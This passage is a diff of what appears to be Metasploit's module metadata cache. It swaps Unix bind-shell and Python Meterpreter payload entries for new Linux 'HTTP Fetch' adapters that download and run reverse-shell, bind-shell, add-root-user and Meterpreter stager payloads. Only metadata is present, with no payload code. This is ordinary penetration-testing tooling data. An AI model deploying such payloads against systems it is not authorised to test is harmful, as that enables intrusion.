"2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_ruby.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_ruby", + "ref_name": "cmd/linux/http/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_bind_tcp", + "staged": false }, - "payload_cmd/unix/bind_ruby_ipv6": { - "name": "Unix Command Shell, Bind TCP (via Ruby) IPv6", - "fullname": "payload/cmd/unix/bind_ruby_ipv6", + "payload_cmd/linux/http/x64/shell_bind_tcp_random_port": { + "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/http/x64/shell_bind_tcp_random_port", "aliases": [ ], @@ -177041,33 +178585,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "kris katterjohn " + "Brendan Watters", + "Geyslan G. Bem " ], - "description": "Continually listen for a connection and spawn a command shell via Ruby", + "description": "Fetch and execute an x64 payload from an HTTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_ruby_ipv6", + "ref_name": "cmd/linux/http/x64/shell_bind_tcp_random_port", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_bind_tcp_random_port", + "staged": false }, - "payload_cmd/unix/bind_socat_sctp": { - "name": "Unix Command Shell, Bind SCTP (via socat)", - "fullname": "payload/cmd/unix/bind_socat_sctp", + "payload_cmd/linux/http/x64/shell_find_port": { + "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/http/x64/shell_find_port", "aliases": [ ], @@ -177075,33 +178624,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "mak" ], - "description": "Creates an interactive shell via socat", + "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a shell on an established connection", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-04-27 16:21:34 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_socat_sctp.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_socat_sctp", + "ref_name": "cmd/linux/http/x64/shell_find_port", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_find_port", + "staged": false }, - "payload_cmd/unix/bind_socat_udp": { - "name": "Unix Command Shell, Bind UDP (via socat)", - "fullname": "payload/cmd/unix/bind_socat_udp", + "payload_cmd/linux/http/x64/shell_reverse_ipv6_tcp": { + "name": "HTTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/http/x64/shell_reverse_ipv6_tcp", "aliases": [ ], @@ -177109,33 +178663,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "RageLtMan " + "Brendan Watters", + "epi " ], - "description": "Creates an interactive shell via socat", + "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell over IPv6", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_socat_udp.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_socat_udp", + "ref_name": "cmd/linux/http/x64/shell_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_reverse_ipv6_tcp", + "staged": false }, - "payload_cmd/unix/bind_stub": { - "name": "Unix Command Shell, Bind TCP (stub)", - "fullname": "payload/cmd/unix/bind_stub", + "payload_cmd/linux/http/x64/shell_reverse_tcp": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/http/x64/shell_reverse_tcp", "aliases": [ ], @@ -177143,33 +178702,38 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "ricky" ], - "description": "Listen for a connection and spawn a command shell (stub only, no payload)", + "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn a command shell", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_stub.rb", + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x64.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_stub", + "ref_name": "cmd/linux/http/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_reverse_tcp", + "staged": false }, - "payload_cmd/unix/bind_zsh": { - "name": "Unix Command Shell, Bind TCP (via Zsh)", - "fullname": "payload/cmd/unix/bind_zsh", + "payload_cmd/linux/http/x86/adduser": { + "name": "HTTP Fetch, Linux Add User", + "fullname": "payload/cmd/linux/http/x86/adduser", "aliases": [ ], @@ -177177,34 +178741,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "Doug Prostko ", - "Wang Yihang " + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "vlad902 ", + "spoonm " ], - "description": "Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is\n often available, please be aware it isn't usually installed by default.", + "description": "Fetch and execute a x86 payload from an HTTP server.\nCreate a new user with UID 0", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/bind_zsh.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/bind_zsh", + "ref_name": "cmd/linux/http/x86/adduser", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/adduser", + "staged": false }, - "payload_cmd/unix/generic": { - "name": "Unix Command, Generic Command Execution", - "fullname": "payload/cmd/unix/generic", + "payload_cmd/linux/http/x86/chmod": { + "name": "HTTP Fetch, Linux Chmod", + "fullname": "payload/cmd/linux/http/x86/chmod", "aliases": [ ], @@ -177212,33 +178783,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "Spencer McIntyre", + "kris katterjohn " ], - "description": "Executes the supplied command", + "description": "Fetch and execute a x86 payload from an HTTP server.\nRuns chmod on specified file with specified mode", "references": [ ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/unix/generic.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/generic", + "ref_name": "cmd/linux/http/x86/chmod", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/chmod", + "staged": false }, - "payload_cmd/unix/interact": { - "name": "Unix Command, Interact with Established Connection", - "fullname": "payload/cmd/unix/interact", + "payload_cmd/linux/http/x86/exec": { + "name": "HTTP Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/http/x86/exec", "aliases": [ ], @@ -177246,33 +178823,41 @@ "disclosure_date": null, "type": "payload", "author": [ - "hdm " + "Brendan Watters", + "Spencer McIntyre", + "vlad902 ", + "Geyslan G. Bem " ], - "description": "Interacts with a shell on an established socket connection", + "description": "Fetch and execute a x86 payload from an HTTP server.\nExecute an arbitrary command or just a /bin/sh shell", "references": [ - + "URL-https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm", + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm" ], - "platform": "Unix", + "platform": "Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", - "path": "/modules/payloads/singles/cmd/unix/interact.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/interact", + "ref_name": "cmd/linux/http/x86/exec", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/exec", + "staged": false }, - "payload_cmd/unix/pingback_bind": { - "name": "Unix Command Shell, Pingback Bind TCP (via netcat)", - "fullname": "payload/cmd/unix/pingback_bind", + "payload_cmd/linux/http/x86/generic/debug_trap": { + "name": "HTTP Fetch, Generic x86 Debug Trap", + "fullname": "payload/cmd/linux/http/x86/generic/debug_trap", "aliases": [ ], @@ -177280,33 +178865,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "asoto-r7" + "Brendan Watters", + "Spencer McIntyre", + "robert " ], - "description": "Accept a connection, send a UUID, then exit", + "description": "Fetch and execute a x86 payload from an HTTP server.\nGenerate a debug trap in the target process", "references": [ ], - "platform": "Unix", + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/pingback_bind.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/pingback_bind", + "ref_name": "cmd/linux/http/x86/generic/debug_trap", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "generic/debug_trap", + "staged": false }, - "payload_cmd/unix/pingback_reverse": { - "name": "Unix Command Shell, Pingback Reverse TCP (via netcat)", - "fullname": "payload/cmd/unix/pingback_reverse", + "payload_cmd/linux/http/x86/generic/tight_loop": { + "name": "HTTP Fetch, Generic x86 Tight Loop", + "fullname": "payload/cmd/linux/http/x86/generic/tight_loop", "aliases": [ ], @@ -177314,33 +178905,39 @@ "disclosure_date": null, "type": "payload", "author": [ - "asoto-r7" + "Brendan Watters", + "Spencer McIntyre", + "jduck " ], - "description": "Creates a socket, send a UUID, then exit", + "description": "Fetch and execute a x86 payload from an HTTP server.\nGenerate a tight loop in the target process", "references": [ ], - "platform": "Unix", + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-22 05:49:48 +0000", - "path": "/modules/payloads/singles/cmd/unix/pingback_reverse.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/pingback_reverse", + "ref_name": "cmd/linux/http/x86/generic/tight_loop", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "generic/tight_loop", + "staged": false }, - "payload_cmd/unix/python/meterpreter/bind_tcp": { - "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", - "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp", + "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp": { + "name": "HTTP Fetch, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_ipv6_tcp", "aliases": [ ], @@ -177348,33 +178945,43 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "kris katterjohn ", + "egypt " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for an IPv6 connection (Linux x86)", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/bind_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp" }, - "payload_cmd/unix/python/meterpreter/bind_tcp_uuid": { - "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp_uuid", + "payload_cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid": { + "name": "HTTP Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -177382,34 +178989,44 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", + "William Webb ", + "kris katterjohn ", + "egypt ", "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for an IPv6 connection with UUID Support (Linux x86)", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/bind_tcp_uuid", + "ref_name": "cmd/linux/http/x86/meterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_ipv6_tcp_uuid" }, - "payload_cmd/unix/python/meterpreter/reverse_http": { - "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", - "fullname": "payload/cmd/unix/python/meterpreter/reverse_http", + "payload_cmd/linux/http/x86/meterpreter/bind_nonx_tcp": { + "name": "HTTP Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_nonx_tcp", "aliases": [ ], @@ -177417,33 +179034,42 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/reverse_http", + "ref_name": "cmd/linux/http/x86/meterpreter/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/bind_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_nonx_tcp" }, - "payload_cmd/unix/python/meterpreter/reverse_https": { - "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", - "fullname": "payload/cmd/unix/python/meterpreter/reverse_https", + "payload_cmd/linux/http/x86/meterpreter/bind_tcp": { + "name": "HTTP Fetch, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_tcp", "aliases": [ ], @@ -177451,33 +179077,43 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection (Linux x86)", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/reverse_https", + "ref_name": "cmd/linux/http/x86/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp" }, - "payload_cmd/unix/python/meterpreter/reverse_tcp": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", - "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp", + "payload_cmd/linux/http/x86/meterpreter/bind_tcp_uuid": { + "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/http/x86/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -177485,33 +179121,44 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", + "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection with UUID Support (Linux x86)", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/reverse_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/bind_tcp_uuid" }, - "payload_cmd/unix/python/meterpreter/reverse_tcp_ssl": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", - "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_ssl", + "payload_cmd/linux/http/x86/meterpreter/find_tag": { + "name": "HTTP Fetch, Find Tag Stager", + "fullname": "payload/cmd/linux/http/x86/meterpreter/find_tag", "aliases": [ ], @@ -177519,35 +179166,42 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "Ben Campbell ", - "RageLtMan" + "William Webb ", + "skape " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", + "description": "Fetch and execute a x86 payload from an HTTP server.\nUse an established connection", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_ssl", + "ref_name": "cmd/linux/http/x86/meterpreter/find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/find_tag", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/find_tag" }, - "payload_cmd/unix/python/meterpreter/reverse_tcp_uuid": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_uuid", + "payload_cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp": { + "name": "HTTP Fetch, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp", "aliases": [ ], @@ -177555,34 +179209,42 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Spencer McIntyre", - "OJ Reeves" + "William Webb ", + "kris katterjohn " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker over IPv6", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter/reverse_tcp_uuid", + "ref_name": "cmd/linux/http/x86/meterpreter/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_ipv6_tcp" }, - "payload_cmd/unix/python/meterpreter_bind_tcp": { - "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", - "fullname": "payload/cmd/unix/python/meterpreter_bind_tcp", + "payload_cmd/linux/http/x86/meterpreter/reverse_nonx_tcp": { + "name": "HTTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_nonx_tcp", "aliases": [ ], @@ -177590,33 +179252,42 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " ], - "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter_bind_tcp", + "ref_name": "cmd/linux/http/x86/meterpreter/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_nonx_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_nonx_tcp" }, - "payload_cmd/unix/python/meterpreter_reverse_http": { - "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", - "fullname": "payload/cmd/unix/python/meterpreter_reverse_http", + "payload_cmd/linux/http/x86/meterpreter/reverse_tcp": { + "name": "HTTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_tcp", "aliases": [ ], @@ -177624,33 +179295,44 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "tkmru" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter_reverse_http", + "ref_name": "cmd/linux/http/x86/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x86/meterpreter", + "stager_refname": "linux/x86/reverse_tcp" }, - "payload_cmd/unix/python/meterpreter_reverse_https": { - "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", - "fullname": "payload/cmd/unix/python/meterpreter_reverse_https", + "payload_cmd/linux/http/x86/meterpreter/reverse_tcp_uuid": { + "name": "HTTP Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/http/x86/meterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -177658,33 +179340,44 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to the attacker", "references": [ ], - "platform": "Unix", + "platform": "Linux,Linux", "arch": "cmd", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/adapters/cmd/unix/python.rb", + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", "is_install_path": true, - "ref_name": "cmd/unix/python/meterpreter_reverse_https", + "ref_name": "cmd/linux/http/x86/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": 